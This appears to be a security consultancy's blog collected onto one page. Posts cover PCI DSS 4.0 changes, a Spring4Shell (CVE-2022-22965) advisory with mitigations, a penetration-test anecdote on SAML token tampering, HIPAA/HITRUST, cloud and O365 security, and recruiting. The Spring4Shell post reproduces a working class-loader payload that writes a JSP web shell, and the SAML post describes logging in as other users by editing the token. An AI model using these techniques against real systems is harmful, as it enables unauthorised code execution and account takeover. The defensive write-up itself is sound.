PCIDSS 4.0 from PCIDSS 3.2.1- Part 1

Written by Kiran Murthy & Eishu Richhariya

Introduction

PCI-DSS stands for Payment Card Industry Data Security Standard. This standard first came into the picture in 2004, and it was formed by Visa, MasterCard, Discover Financial Services, JCB International, and American Express. It is governed by PCI SSC, i.e., Payment Card Industry Security Standards Council.

Applicability– PCI-DSS applies to companies/organization which accepts, store, process and/or transmits cardholder data.

When will the new version PCIDSS v4.0 take effect?

Until March 31, 2024, PCI assessments will choose the version (v3.2.1 or v4.0) for conducting the assessment. After this date, v3.2.1 will be retired, and v4.0 will become the singular standard.

PCI-DSS v4.0 New Requirements

The new version contains a substantial number of new requirements—64 in total.

  • When using v4.0, only 13 out of 64 are mandatory.
  • Until March 2025 additional 51 remain “best practices”; after the retirement of v3.2.1, it will be mandatory to complete a PCI DSS assessment.

Changes in the Security Objective of PCI-DSS v4.0?

PCI-DSS v3.2.1 PCI-DSS v4.0
Build and Maintain Secure Network and Systems
Build and Maintain Secure Network and Systems
Protect Card Holder Data

Protect Account Data

Maintain a Vulnerability Management Program
Maintain a Vulnerability Management Program
Implement Strong Access Control Measures
Implement Strong Access Control Measures
Regularly Monitor and Test Networks
Regularly Monitor and Test Networks
Maintain an Information Security Policy
Maintain an Information Security Policy

Change in the Names of 12 PCI-DSS v4.0 Requirements

PCI-DSS v3.2.1 PCI-DSS v4.0
Install and maintain a firewall configuration to protect cardholder data

Install and maintain Network Security Control

Do not use vendor-supplied defaults for system passwords and other security parameters

Apply secure configuration to all system components

Protect stored cardholder data

Protect stored account data

Encrypt transmission of cardholder data across open, public networks

Protect cardholder data with strong cryptography during transmission over open public networks

Use and regularly update anti-virus software or programs

Protect all systems and network from malicious software

Develop and maintain secure systems and applications

Develop and maintain secure systems and software

Restrict access to cardholder data by business need to know

Restrict access to system components and cardholder data by business need to know

Assign a unique ID to each person with computer access

Identify users and authenticate access to system component

Restrict physical access to cardholder data
Restrict physical access to cardholder data
Track and monitor all access to network resources and cardholder data

Log and monitor all access to system component and cardholder data

Regularly test security systems and processes

Test security systems and networks regularly

Maintain a policy that addresses information security for all personnel

Support information security with organizational policies and programs

Type of Changes

Change Type Description

Evolving Requirements

This change is to make sure that the standard is up to date with emerging threats, technologies and changes in the Payment industry.

Clarification or Guidance

Updated wording, explanation, definition, and guidance to increase understanding.

Structure or Format

Reorganization of content.

Two Approaches

New flexibility has been provided for organizations to satisfy the PCI DSS security objectives. The two distinct techniques for PCI DSS evaluations that will be permitted under version 4.0 demonstrate this flexibility:

  1. Defined Approach- The organization is expected to comply with the stated requirements, and assessors will conduct testing procedures as mentioned within the standard.To fill gaps, compensating controls are implemented. This has been consistent since the release of PCI-DSS v3.0.

  2. Customized Approach- There is no written testing procedure to be followed by assessors, and the testing procedure will be developed by the assessor to validate the solution the entity has implemented. This approach is focused on “risk mature entities”.

Spring4Shell

Last week a Remote Code Execution vulnerability was disclosed in Spring. Spring is an open-source application framework that provides infrastructure support for creating Java applications that can be deployed on servers as independent packages. Approximately, 70 percent of all Java applications use it.

What is CVE-2022-22965?

CVE-2022-22965 was assigned to the vulnerability and is considered critical as it can result in an RCE. RCE vulnerabilities will allow a malicious actor to execute custom code of choice on the machine. The vulnerability was named after the previous infamous log4shell vulnerability, spring4shell.

The vulnerability was first reported to VMWare on March 29th, 2022 after which VMWare informed this to the spring team. On the next day, Spring started the vulnerability response procedure. It was during this process, that the vulnerability was leaked to the public and exploitation began in the wild.

Are you affected?

For the application to be vulnerable, several requirements are to be matched as laid out by Spring.

  1. JDK version 9+
  2. Apache Tomcat for serving the application
  3. Spring-webmvc or spring-webflux dependency
  4. Spring Framework versions 5.3.0 to 5.3.17 and 5.2.0 to 5.2.19 and older versions.
  5. Application built as a WAR file
  6. Certain REST API which will process user input.

What is Spring4Shell?

public class Greeting {

private String message;

public String getMessage() {
               return message;
               }

public void setMessage(String message) {
               this.message = message;
               }
}

@Controller
public class HelloController {

@PostMapping(“/greeting”)

               public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
 
               return “hello”; 
            }
}

Above is a modified code from
https://github.com/reznok/Spring4Shell-POC/tree/master/src/main/java/com/reznok/helloworld

From the above code, we can understand the application is expecting the **message** value in the post request. The vulnerability will occur when instead of supplying a value of to the **message** parameter the user supplies POJO (Plain Old Java Object).

Further, using classLoader to dynamically load classes into JVM. With the help of classLoader we reconfigure Tomcat to write logs to a new file which will be an executable JSP file.

Understanding the exploit

This exploit can be found on https://github.com/reznok/Spring4Shell-POC

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i
java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Following is a detailed explanation of each line:

  1. module.classLoader.resources.context.parent.pipeline.first.pattern – This contains the pattern of the log file in which it will be written to the disk. The attacker would specify a malicious code which would be executed when the page has been visited.
  2. module.classLoader.resources.context.parent.pipeline.first.suffix – Will contain the log file extension.
  3. module.classLoader.resources.context.parent.pipeline.first.directory – The location of the log file to be written. For tomcat dev environments webapps/ROOT will be the default root folder of the webserver, however, it can differ if the administrator has decided to change the directory.
  4. module.classLoader.resources.context.parent.pipeline.first.prefix – Will contain the name of the log file.
  5. module.classLoader.resources.context.parent.pipeline.first.fileDateFormat – Will contain the date/time format of the log, keeping it blank reduces the junk output.

What is the impact of Spring4shell?

To replicate the vulnerability, we hosted a container in docker with the vulnerable version of spring framework. Then, we ran the exploit.py script: python exploit.py –url http://localhost:8080/helloworld/greeting

A web shell was created and we enumerated the id by modifying the cmd parameter, which confirms the remote code execution.

How to mitigate?

A patch is now available as of March 31st, 2022 in the recently published Spring versions 5.3.18 and 5.2.20. We recommend all users update to the latest version.

  • To upgrade in Maven, add the following code in the POM file:

<properties>
<spring-framework.version>5.3.18</spring-framework.version>
</properties>

  • In Gradle:

ext[‘spring-framework.version’] = ‘5.3.18’

Spring also released several workarounds such as:

  1. Upgrading Apache Tomcat to 10.0.20, 9.0.62, or 8.5.78.
  2. Downgrading to Java 8 if you can neither upgrade the Spring Framework nor upgrade Apache Tomcat.
  3. Another viable workaround is to disable binding to particular fields by setting disallowedFieldson WebDataBinder

How can Accorian help to identify if your organization is vulnerable to Spring4Shell?

The Spring4Shell vulnerability is a high-impact vulnerability on a system that uses vulnerable versions of Spring. Accorian is continuously monitoring the situation and can aid in identifying the vulnerabilities in your infrastructure by running specific commands and scripts. Write to us at info@accorian.com if you need us to test your infrastructure for Spring4Shell.

Penetration Testing Anecdote Series

Authentication bypass due to weak verification of SAML Token

What is authentication bypass in web applications?

The web application vulnerability – authentication bypass occurs when there is improper validation of the user’s identity on the server-side.

Generally, a successful authentication bypass requires the attacker to have knowledge of either the username/email ID unlike the case of SQL injection where the attacker can attempt to log into the application using any user.

What is SAML?

SAML (Security Assertion Markup Language) is a standard for authenticating and authorizing users across multiple applications by leveraging the logged-in session of one application.

In simple words, you log into a dashboard where you see multiple applications like Salesforce, AWS, Slack, ADP, etc. and when you click on any one of the icons, you would directly get signed into that application.

Unlike other tokens, the SAML token is XML-based for transferring identity between two parties.

So, who are these two parties? 1. Identity Provider (IdP) 2. Service Provider (SP). IdP is responsible to authenticate the user and subsequently sending the token to the service provider and SP trusts the identity provider and authorizes/authenticates the user to access the requested application.

Some applications implement SAML for the clients to authenticate themselves and use the application. So, the question is what kind of verification is done by the SP in the back-end? Is it possible to modify the token and login to the application as another user?

In this blog, we’ll walk you through an authentication bypass mechanism that allowed us to log into the application as any user with just the knowledge of the username. This can be achieved due to insecure logic & validation implemented at the backend.

Understanding the authentication process

The application uses Okta which is an identity platform that offers authentication and authorization services for the application. Let’s say the target domain is testproduct.com. After hitting this domain, we get redirected to the Okta login page with a domain like testcorp.oktapreview.com which looks like the below screenshot.

Using valid credentials, we log into the Okta dashboard. In My Apps, we see all the applications for whom we could obtain direct access without re-entering the credentials.

Let’s assume our app testcorp.com is included in it. After clicking our app, we directly get signed into it.

We now attempt to understand the process of how we got logged into testproduct.com from testcorp.oktapreview.com.

By setting up an interception proxy – Burp suite, we observe a request where testcorp.com receives a  SAML token with the parameter name SAML Response.

Bypass #1: Pre-remediation

The next request was responsible to authenticate the user, or in other words, activating the user’s session.

By changing the username value from 252233 to 252234, we were able to log into the application as a different user. We confirmed this by entering random number which gave us an error indicating that the user was invalid. Thus, confirming that username we used earlier was indeed valid.

By trying different values for the username parameter and repeating the above steps, we were able to log into the application as an administrator user.

Test Corp went ahead and implemented a fix to remediate the above vulnerability.

Bypass #2 : Post application of the first fix

Test Corp leveraged an encryption mechanism which prevented us changing the username value as the parameter was not unguessable.

We started looking at the different ways to decrypt the parameter through recon. We also wrote multiple scripts, but they weren’t successful in recreating the original value.

After many failed attempts we were curious to understand how the application knew which username parameter & value to encrypt, as we didn’t see any username being transmitted in the request via plaintext.

There was still a puzzle associated to the SAML token as we hadn’t looked at understanding it.

By using URL Decode then Base64 decode, we obtained decoded XML data containing the username 2522334.

The response had the encrypted username. Hence, sending a request by changing the username in the SAML token and encoding it back to its original format, resulted in a different encrypted username which caught our eye. So, we used this new username in the subsequent request with URL encoding which successfully logged us in.

So, the application was accepting the username from the SAML token & it then encrypted it. Subsequently, it was being sent in the request where the activation occurred.

Conclusion

Our understanding of the application led to the conclusion that rather than validating the token, the application extracted the username and verified whether it exists in their database or, not. This allowed an attacker to authenticate as any user, with a valid username.

Posted by:

Raunak Parmar

Senior Security Engineer at Accorian

 

Why Being HIPAA compliant is not enough

If there is a central key aspect of healthcare security, it is HIPAA. The Health Insurance Portability and Accountability Act of 1996 changed the way healthcare providers increased the security of patient data and information. Every person that works in healthcare, from the front desk person to a brain surgeon, learns exactly what HIPAA is and how they must incorporate it in their jobs. But is following the basic rules of HIPAA truly enough to be secure?

Why is HIPAA not enough?

First, the HIPAA Security Rule is meant to cover a wide range of medical practices, from the small single-doctor office to a huge university teaching hospital. The wide range meant that many of the security elements are necessarily vague. While this allows the Security Rule to apply to the wide range, it also allows for gaps in how patient data is securely treated.

Second, not every standard is required. This is because HIPAA provides guidelines and a framework for security, but it is not prescriptive. It is up to each company or clinic to define what compliance means to them. Addressable standards can be eliminated if the location can document a business reason for not addressing the particular standard. This allows companies to either not implement all the standards that they need or go too far using unnecessary safeguards.

Third, HIPAA does not have any official confirmation of compliance. Compliance is demonstrated through a risk assessment and control documents. This lack of certification means that human error can creep in and affect the security of patient data.  It also makes it hard to know which vendors are really following HIPAA.  

Finally, HIPAA was created in 1996, long before electronic health records were standard practice. Now that the healthcare industry relies on electronic records, HIPAA simply doesn’t address the concerns of a changing, connected world.

How can HITRUST change how you manage ePHI?

HITRUST, or Health Information Trust Alliance Common Security Framework, was created in 2009 to address the changing nature of how patient information was being used and transmitted. While it includes the HIPAA Security Rule as part of its framework, it also uses security standards from:

  • Payment Card Industry Data Security Standard (PCI DSS)
  • Control Objectives for Information and Related Technology (COBIT)
  • National Institute of Standards and Technology (NIST) Risk Management Framework (RMF)
  • International Organization for Standardization (ISO)
  • Federal Trade Commission (FTC) Red Flags Rule
  • Centers for Medicare and Medicaid Services Addressable Risk Safeguards (CMS ARS)
  • State requirements
  • Multiple other standards

HITRUST is a comprehensive set of standards that more adequately meets the needs of the healthcare industry today. It allows each organization to create a set of control standards that fits their specific risks and needs. And what happens when your organization grows beyond your current control guidelines? HITRUST allows for scaling to include the new risks and needs as you grow.

HITRUST is also kept up to date with the ever-changing security risks and laws. As recent events have shown, new regulations can be passed or existing ones change. HITRUST can adapt to these changes quickly so that you remain compliant without interruption.

HITRUST also makes proving compliance to clients and vendors easier. It uses a single, third-party assessment to show how your organization is compliant across multiple standards. And you receive an actual certification, showing that you are not only HIPAA compliant but also truly able to protect patient data from theft and misuse.

HITRUST is becoming the de facto standard for security in the health space.  We have extensive experience with HITRUST implementation and certification. We are ready to be your full-service security partner

Let’s Talk

As Accorian, we have extensive experience with HITRUST implementation and certification. We are ready to be your full-service security partner as you transition to HITRUST. We will work with you to develop your HITRUST standards as well as implement the control policies.  Feel free to schedule a consultation with us to see how HITRUST can serve your company, your clients, and ultimately the patients.

Pre-Placement & hiring in times of Covid

Accorian at UPES, Dehradun

Despite industry-wide hiring freezes as a result of COVID, Accorian has established its first university recruitment channel with UPES Dehradun for their security graduates; having hired two members from the university to our team in 2020. This year alone, Accorian has grown 150% since the start of COVID across all levels, adding breadth and depth to our compliance and security teams. Accorian is looking to carry this momentum into 2021 with 6 more junior positions opening up in January in concert with more experienced roles. As this growth continues, Accorian will continue to establish new campus-recruitment channels to ensure we are finding the best talent to grow with us to become leaders in the industry.

The role of university-recruitment is crucial to the growth and culture of any company. Whether it is an intern, a full-time employee, or a leader, Accorian is committed to creating an atmosphere of growth, camaraderie, and accountability for every member of our team.

Accorian is a full-service cybersecurity, compliance, and consulting firm helping companies improve the way they approach and manage risk. Accorian is always looking for driven security enthusiasts as we continue to grow. If you feel you are a good match for our team, email us at info@accorian.com with your resume and a paragraph on how you would like to grow in your role.

If you are a campus administrator and would like to partner with Accorian for pre-placement and recruitment talks, please email info@accorian.com to schedule a call with our head of recruitment.

A Cloak with holes: CSP Provided Security

The last 2-3 years have seen a spike in the adoption of cloud especially among organizations who had possibly never thought about moving to a shared environment due to security concerns like large corporations, banking, financial services, etc. The main drivers have been efficiency, easiness, flexibility, scalability, lower TCO among others. This adoption was further fueled in 2020 due to COVID-19 and the requirement to support remote working, collaboration, faster scaling, etc.

This has also fueled another type of growth; but the not favorable kind – Attacks on cloud assets. This has swiftly joined the ranks of the top favorites of hackers due to the nature of information being stored on the cloud.

A majority of companies on the cloud believe that securing their assets is the sole responsibility of the CSP and hence, they ‘over trust’ & think that they’ve ‘transferred their risk’. But, it’s further from the truth.

Per a recent McAfee report, 69% of CISOs trust their cloud providers to keep their data secure, and 12% believe cloud service providers are solely responsible for securing data.

The shared responsibility matrix illustrated aims to throw light on the subject –

In a nutshell, if you’re on the cloud, then the CSP will secure the cloud operations and you will need to secure everything that you have on the cloud.

Hence, you will need to secure the following among others:

  1. Identity & Access Management
  2. Client & Endpoint Protection
  3. Data classification & accountability
  4. Platform
  5. Your applications
  6. OS, Network & Firewall Configurations
  7. Network Traffic Encryption, Server-Side Encryption & Data Integrity
  8. Secure management and control of terminals that access cloud services, including hardware, software, application systems, and device rights
  9. Data – Security, Compliance & Privacy

Interestingly, even your data isn’t encrypted by default and needs to be turned on by you.

It is stipulated that by 2022, over 90% of the cloud security failures will be due to misconfigurations & oversights by end organizations. With over 96% of businesses either completely or, partially on the cloud, it is critical for organizations to develop a strategy for securing their cloud presence.

Hence, cloud ops teams need to view this as their servers & assets that they need to secure rather than hoping to transfer risk.

Some common types of threats/attacks/hacks in the recent past –

  1. Poor Access Controls
  2. Insecure APIs
  3. Hardcoded keys & credentials in the code 
  4. Misconfigured Cloud Storage (Commonly reported as Leaky S3 Buckets for AWS)
  5. Security Group Misconfiguration
  6. Poor access management & permissions
  7. Loss of control over end-user actions
  8. Shared Tenancy Flaws

Our cloud security experts prescribe the following immediate steps for securing your cloud –

  1. Train your staff & help them understand the shared responsibility matrix
  2. Understand & document your crown jewels in the cloud and locations of critical data
  3. Leverage Segmentation to segregate various workloads & resources especially production, instances with client data, etc.
  4. Understand the level of failover, business continuity & disaster recovery provided by the CSP and how it impacts your cloud operations
  5. Review who has access & their rights across the board
  6. Update your firewall rules
  7. Understand the configurations, settings & other controls that end clients can impose on their cloud presence
  8. Enable Backups and Logging & Monitoring
  9. Run a vulnerability scan to ensure your cloud assets are devoid of vulnerabilities. This will aid in detecting the ‘low hanging fruit’ vulnerabilities. You can start with an unauthenticated scan & then progress to an authenticated scan
  10. Draft & publish your cloud security policies and procedures
  11. Conduct a cloud security configuration review to verify & ensure no misconfigurations on the platform or, end assets especially in your end workstation/server instances & storage
  12. Request for your CSP’s latest security credential/certification to assess & understand the controls you would inherit and gaps you need to wary of/compensate for
  13. Conduct a penetration test to detect further weaknesses & gaps
  14. Leverage a benchmark for evolving into a secure cloud operation. A few examples can be CSA’s Cloud Security Services Management (CSSM), CIS Foundation Benchmarks for AWS/GCP/Azure
  15. Commission an internal auditor, external vendor to conduct a thorough cloud asset to detect deficiencies & draft a mitigation roadmap

Accorians deep expertise in implementation & securing cloud along with the mindset of ‘thinking like an attacker’ has aided our clients in building and maintaining a secure cloud presence. Our services cover every aspect of cloud computing and ensure that you are secured end to end.

The Privacy and security issues of expanding Telehealth

Telehealth is the distribution of health-related services and information via electronic channels allowing long-distance patient and clinician contact, care, advice, reminders, education, intervention, monitoring, and remote admissions.

There has been a many fold increase in the adoption due to COVID 19 and patients being unable to travel to meet doctors.

It is important to understand that telehealth is susceptible to cyber breaches and poses an immense threat to the confidentiality, integrity, and availability of patients’ electronic medical records. Patient’s medical records contain very sensitive information that should not be made accessible to unauthorized persons to protect patient privacy, integrity, and confidentiality.

The flipside is that this information needs to be easily available whenever required by authorized users for an authentic purpose. Telehealth presents all of the security issues as any other electronic transmission but, probably one of the most important issues will be availability – signal interference, interruption of transmission, or outages causing a real issue. Also, DOS outages could present a greater risk to patients who depend on telehealth services.

Attacks on the telehealth network can be grouped into two broad categories depending on their type:

Active attacks: These attacks include modification, interruption, or fabrication of patient information.

Passive attacks: These attacks include the interception of information but ,not alteration. These attacks are accomplished by monitoring a system performing its tasks and collecting information. These include eavesdropping, sniffing, or traffic analysis kind of activities. Passive attacks result in the disclosure of information or data files to an attacker without the consent or knowledge of the user.

Hence, this poses a big challenge – How can Telehealth be seamless, fast yet secure?

Telehealth providers should consider taking several steps to ensure their patient encounters are private and secure. Providers should ensure that all transmissions are encrypted and remote connections have strong, preferably two-factor – authentication. They should also make sure that private rooms are set aside for telehealth sessions and that redundant, multiple paths for connection, power, and service are provided.

Mitigating Security risks in Telehealth

Security in telehealth begins with establishing best practices, cyber hygiene and rolling out standard operating procedures.

1. Improve Platform Safety: HIPAA requires that providers integrate encryption and other safeguards into their interactions with patients. However, patients’ devices are often the weakest link and fall prey to hackers.

2. Privileged Access & Authentication: Continuous identity authentication ensures only authorized individuals have access to data. Identity authentication can be accomplished through a variety of approaches.

Multi-factor authentication, or the requirement of utilizing two pieces of evidence to sign in, is among the most common and has been proven effective in blocking 99.9 percent of all automated cyber-attacks.

Beyond this, users need to develop strong, unique passwords for, not just their telehealth platform accounts, but across their entire online logins and accounts.

3. Investing in Patient Education: Cybersecurity ultimately relies on the end-user. As hackers continuously exploit new vulnerabilities, developers & security expert are in a constant race to keep up with new threats. However, the security is only as strong as its weakest link – end patient.

Healthcare providers should educate patients about cybersecurity and the steps they should take to improve the overall safety by:

●  Educating patients about the telehealth security threats

●  Using a VPN for providing telehealth services and general device usage

●  Frequently updating all apps and operating systems, not just telehealth platforms

●  Advising on frequent anti-malware and virus scans

●  Restricting app permissions

In the meantime, organizations offering telehealth services should take steps to ensure timely patching, updates of systems by performing timely vulnerability assessment & penetration tests.

Similarly, with privacy, it is crucial healthcare entities are aware of all the privacy and consent requirements that come with providing telehealth in non-emergency times, as many of those requirements are different from the ones currently being enforced during the public health emergency.

Other privacy and security concerns related to telehealth include how healthcare providers store, access and manage sensitive patient information.

Providers need to take steps to reduce the risk of data breaches, including implementing encryption of data at rest, offering end-user training, automating compliance enforcement, and utilizing insider threat monitoring.

The Journey from HIPAA Compliance to HITRUST Certification

In today’s complex technological world, there is always the danger of a hostile threat environment lurking around the corner, waiting to manipulate the potholes in the processes and technology. People and organizations with malicious intent always try to act upon such opportunities and cause everlasting damage to the organization’s reputation and finances. In such a scenario, securing information and information assets of the organization are of paramount importance. There are several ways to secure information and information assets within an organization. Some organizations may deploy strict controls like access control, secure equipment sitting area, authorization, and authentication, etc.

The healthcare industry is no different and is not safe from the malicious intent of hackers and trespassers. Sensitive healthcare information like patient data, patient recovery status, personal information, etc. always needs to be safeguarded. Hence, the Health Insurance Portability and Accountability Act (HIPAA) was enacted in 1996, which outlines protection and security standards for health care data. HIPAA is a public law that can be considered landmark legislation when it was enacted in the ‘90s.  Before its enactment, there were no security standards or requirements for protecting health care information.  While HIPAA is an act that details standards for compliance, HITRUST is an organization that helps you achieve those standards by the means of industry-acclaimed certification.

Transitioning from HIPAA Compliance to HITRUST Certification

When an organization transitions from being HIPAA Compliant to being getting HITRUST certified, is not a straightforward and simple journey altogether. This involves a lot of effort and adjustments along the way on the part of the organization. Often organizations who are HIPAA compliant, assume, that getting HITRUST certification is an easy walk. But in reality, the path to HITRUST certification is very robust and cumbersome. HITRUST certification is an exhaustive and comprehensive certification process and organizations often must scale up their efforts to get compliant.

The common pitfalls or roadblock often faced by organizations in the journey from HIPAA to HITRUST are:

  • HITRUST requires exhaustive policies and procedures to be in place spread across 19 domains of Information Security. Organizations often fall short of producing the exhaustiveness or robustness in their documentation that HITRUST mandates
  • HITRUST certification process mandates the actual implementation of solutions and security controls. In many cases, organizations that are HIPAA compliant do not have enough security controls in place to be even eligible for HITRUST certification
  • HIPAA compliance is a self-declaration made by the management of the organization keeping in view the security posture of the entity. In most cases when the organization goes for HITRUST certification, it comes as a revelation as they do not clear the HITRUST certification because of not having a good enough security posture. HITRUST certification is a very comprehensive and robust assessment of the security posture of an entity
  • HITRUST mandates the storage and secure treatment sensitive and covered information should get. Covered information includes ePHI, PII, etc. In comparison to HIPAA, HITRUST is more particular and employs strict measures about the secure handling of ePHI
  • As opposed to HIPAA, which has defined penalties for security breaches, the enforcement of HITRUST is dependent on the healthcare industry itself, typically covered entities like hospitals and payers, requiring HITRUST CSF Certification of vendors
  • HITRUST also claims that with their framework, you can “assess once and report many” – which means that a HITRUST Certification can be used as the building block to attain other certifications and reports such as a SOC II or NIST 800-53.  Thus, HITRUST can be labeled as more versatile and comprehensive

How to attain HITRUST Certification?

Without a standardized framework, process, and certifying body, HIPAA is often an obstacle for healthcare technology. HITRUST is an attempt to help vendors better prove their security and to help covered entities streamline security and compliance reviews of vendors. HITRUST is an acronym for the Health Information Trust (HITRUST) Alliance, an independent testing organization that issues the Certified Security Framework (CSF) certification to vendors who successfully pass their rigorous security evaluation. Because HIPAA is a set of standards, and the HITRUST CSF provides a prescriptive set of controls that meet the requirements of not only HIPAA but other security standards such as PCI and NIST. As such, HITRUST is a valuable resource for risk management and compliance for organizations that handle sensitive data.

The 5 Steps to HITRUST CSF Certification

  • Step 1: Investigate the process
  • Step 2: Scope the project with the chosen HITRUST CSF Assessor
  • Step 3: Complete the CSF
  • Step 4: Validate the CSF with the assessor
  • Step 5: Certify the CSF with HITRUST Alliance

The organization should first determine the business drivers for attempting certification which should include identifying key stakeholders, defining scope, and selecting an Authorized External Assessor Organization. HITRUST recommends a Readiness Assessment be performed to prepare organizations for the Validated Assessment. Organizations can involve Authorized Internal and External Assessor Organizations as part of the Readiness Assessment. Based upon the results of the Readiness Assessment the organization should develop a remediation plan and work with its Authorized External Assessor Organization to define the timing of the Validated Assessment. Before beginning the Validated Assessment, the organization will need to purchase a Validated Assessment object from HITRUST if they are not a subscriber. The organization will need to complete the Validated Assessment using the MyCSF tool and then the Authorized External Assessor Organization will be required to perform the validation/audit work. Once the Authorized External Assessor Organization’s work is complete, they submit the assessment to HITRUST for review. HITRUST will perform quality assurance procedures, create a report, and, depending on the scores in the report, will issue a Letter of Certification.

Thus, we have seen that though HIPAA mandates a set of security and privacy safeguards to be implemented, HITRUST is the certifying body that evaluates the compliance of an organization against the standard. Achieving HITRUST CSF Certification requires significantly more time, effort, and resources than a HIPAA audit. Being HITRUST CSF Certified should be seen as a more significant badge for security and compliance than completing a HIPAA audit. I can conclude by saying that the journey traversed by an organization from being HIPAA compliant to HITRUST certified is indeed an eventful Security Compliance journey.

Common Controls Framework of Industry-acclaimed security standards

Today’s world is an ever-changing scenario with changes to the technology sector happening more frequently than ever due to emerging technologies. The case is quite similar in the field of Cyber Security. There are a few industry-acclaimed cybersecurity standards for governing the processes and execution of these standards. These standards are usually built upon a framework of control objectives that need to be implemented by the organizations to comply with these standards. Compliance is measured in terms of control objectives meeting the compliance criteria and also other regulatory and statutory criteria.

Since most of these Cybersecurity standards speak of similar control objectives or lay emphasis on similar control areas, it is advisable to have a ‘Common Control Framework’. A common controls framework (CCF) means that if we are able to comply with a single requirement from a particular framework, in theory, we should be able to use the adherence of that requirement for ALL the similar frameworks. There are several approaches to achieving this common controls framework both in theory and in practice and will be discussed in detail later on in this article. The most relevant security and privacy frameworks are ISO 27001, NIST, PCIDSS, GDPR, SOC Type 2.

There is a significant overlap of controls contained in these standards as all of these standards primarily deal with one requirement which is the protection of data. Protection of information from unauthorized disclosure, compromise, and theft forms the backbone or the building blocks of a common control framework. A common controls framework leverages the fact that similar controls or that the essence of the controls is the same across standards and can be used to gauge the adherence or compliance of an organization to the standard. In actual execution, while gauging the compliance of an organization, a common controls framework is not only holistic but can reduce the effort and cost otherwise required by the organization to comply with individual standards.

There are two methods of developing a common control framework for an organization and there are very subtle differences between the two methods. They are Controls harmonization and Controls Mapping.

Controls Harmonization:

Harmonization is the creation of a brand-new control language set from several source languages of standards taking into consideration content & context. In theory, the intent and meaning of the words and sentences remain intact, but the language and actual words of the individual standards have been changed with a new harmonized meaning defined. To achieve the usage of a single language as an industry, globally, it would have significant benefits and it would be the most efficient way to operate not only as security professionals but also as humans. UCF (Unified Compliance Framework) is an example of this type of construct. The benefits of having a single operating language can truly be amazing in terms of effort reduction and cost reduction.

Control Mapping:

Today, most brilliant and forward-thinking security professionals are using the control mapping method. The main idea behind this method is to keep the original language intact as much as possible while mapping and matching the intent and meaning of each sentence and word. This is the most practical and realistic approach because this is how humans fundamentally interact with each other globally. One can see this working in real life where two different languages are being spoken by individuals and kept mainly intact, but an interpreter or linguist is translating between the two — the map is developed in the mind of the linguist.

Some real-life examples of mapping for cybersecurity frameworks can be seen in HITRUST Framework, Cloud Security Alliance Framework, and even the U.S. Government formally uses mapping in NIST SP 800-53 Appendix H – NIST RMF to ISO 27001 Mapping Table. The benefits of control mapping are that it allows one to actually break away from a single monolithic language that is brittle when a new regulation is introduced. Control mapping is more holistic and comprehensive and aids the security professional in having a wider spectrum while implementing controls.

By now, as we have seen multiple security frameworks with rapidly emerging requirements are nothing but redundancy in controls across frameworks. Hence the way forward especially for a security consulting organization is to develop a common control framework (CCF) to gauge it’s client’s security posture comprehensively. Security risk and compliance teams are in a constant state of flux as they struggle to keep up with the ever-emerging regulations of a security framework or standard. Hence to restore stability in daily operations of compliance and security professionals, a common controls framework is not only a savior but a game-changer too.

At Accorian, we are always committed to providing the best feasible security solution to our partners and clients as part of our service delivery. We apply CCF (Common Controls framework) derived from multiple standards like ISO27001, PCIDSS, NIST, GDPR to gauge the security posture of an organization. Technically speaking our consultants at Accorian use CCF to conduct security maturity assessments of large and medium scale enterprises which in turn aid the consultants to draw out roadmaps for the elevation of the maturity level and the strategy involved in achieving it.

Securing your O365

E-mails are the most used productivity tool by employees. They are also a treasure trove of information and are a lucrative target for hackers as all your data – company, employee, client, etc. are present in one place.

Microsoft’s O365 has been a gamechanger in the world of e-mail. It’s easiness, mobility & ready-to-use ability has led to its popularity. With more than 150 million active users, this is a very lucrative target for attackers.

Recently, the US Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (CISA) has published security advice for organisations that may have rushed out Office 365 deployments to support remote working during the coronavirus pandemic. This coincides with their notification last year on Microsoft Office 365 Security Observations.

Why is securing your O365 important?

Most organisations assume that complete responsibility & onus of securing their O365 lies with Microsoft. The reality is that Microsoft secures the COTS application and underlying network infrastructure. On the flip side, the instance has 100s of settings & controls to be picked, applied, managed & maintained by the end client.

In the wake of COVID 19, many organisations would’ve overlooked important security configurations due to hurried implementations. This could be exploited by attackers to gain access to your data.

It is always important to understand the reality that it’s your data after all. Hence, it’s your responsibility to secure O365.

How can you commence your journey to a Secure O365?

  1. Implement Microsoft recommended Security Defaults : This includes switching on MFA (Around 90% of organizations have not turned on this setting), blocking of legacy authentication & protocols (IMAP, SMTP, POP3), resetting default account credentials, protecting privileged actions, etc.
  2. Enabling Unified Audit Logging & mailbox auditing for each user. Reviewing all actions periodically either manually or, through automated tools or, security monitoring partners.
  3. Ensure Azure AD password sync is planned for and configured correctly, before migrating users
  4. Implementing musts like disabling auto-forwarding, spam filters, using dedicated admin accounts, managing user & object permissions, custom permissions, secure external sharing controls, etc.  and additional measures like frequent security awareness training’s, third party tools like spam gateway, DLP, etc.
  5. Enabling O365 add-ons like ATP Safe Attachments – protection against malicious attachments & files, ATP Safe Links – protection against phishing attacks, Office Message Encryption, Microsoft 365 Secure Score, etc.
  6. Conducting frequent audits across all security settings & configuration against the likes of CIS Benchmark, Microsoft Security Defaults, CISA Advisories, etc.

Subsequently, it is critical to engage a third-party security vendor to conduct an assessment for your O365 environment. They will aid in identifying gaps & risks in your current O365 configurations and providing advisory on mitigation. Thus, enabling you to safeguard your data & employees.

Accorian has years of expertise in delivering technology & security services. They are a full-service technology & cybersecurity partner to enterprises & SMBs around the US. They have aided multiple organisations in successfully implementing and securing their O365 environment.

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took

    Ready to Start?



      Download Case study




        Download Guide




        Human Resources Director

        Posted On: 09 May, 2022

        Drop your CVs to joinourteam@accorian.com

          Interested Position

          First Name

          Last Name

          Email

          Total Experience

          Mobile Number

          Upload Resume